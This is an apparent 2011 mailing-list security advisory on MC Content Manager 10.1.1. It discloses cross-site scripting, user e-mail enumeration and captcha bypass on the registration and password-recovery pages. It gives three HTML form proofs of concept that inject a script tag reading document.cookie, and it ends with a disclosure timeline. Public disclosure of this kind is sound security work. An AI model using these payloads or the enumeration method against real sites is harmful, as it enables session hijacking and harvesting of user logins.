MC Content Manager 10.1.1 Cross Site Scripting

`Hello list!  
  
I want to warn you about Cross-Site Scripting, Abuse of Functionality and   
Insufficient Anti-automation vulnerabilities in MC Content Manager. It's   
Ukrainian commercial CMS.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are potentially all versions of MC Content Manager (MC Content   
Manager v.10.1.1 and previous versions).  
  
----------  
Details:  
----------  
  
XSS (WASC-08):  
  
Vulnerabilities are at registration and password recovery pages.  
  
POC 1:  
<form name="hack" action="http://site/?module=users" method="post">  
<input type="hidden" name="module" value="users">  
<input type="hidden" name="action" value="remind">  
<input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'>  
</form>  
  
POC 2:  
<form name="hack" action="http://site/?module=users" method="post">  
<input type="hidden" name="module" value="users">  
<input type="hidden" name="action" value="register">  
<input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'>  
</form>  
  
POC 3:  
<form name="hack" action="http://site/?module=users" method="post">  
<input type="hidden" name="module" value="users">  
<input type="hidden" name="action" value="register">  
<input type="hidden" name="user_hide" value='"><script>alert(document.cookie)</script>'>  
</form>  
  
  
Abuse of Functionality (WASC-42):  
  
http://site/users/register  
  
http://site/users/remind  
  
At registration and password recovery pages it's possible to enumerate   
e-mails of the users (which are logins).  
  
Insufficient Anti-automation (WASC-21):  
  
http://site/users/register  
  
http://site/users/remind  
  
Even captcha is using at these pages, it's not needed to enter correct   
captcha for enumeration of e-mails (logins) of the users.  
  
------------  
Timeline:  
------------  
  
2011.01.24 - announced at my site.  
2011.01.25 - informed developers.  
2011.01.25 - received response from developers.  
2011.01.25 - gave additional recommendations for developers.  
2011.03.22 - disclosed at my site.  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/4869/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`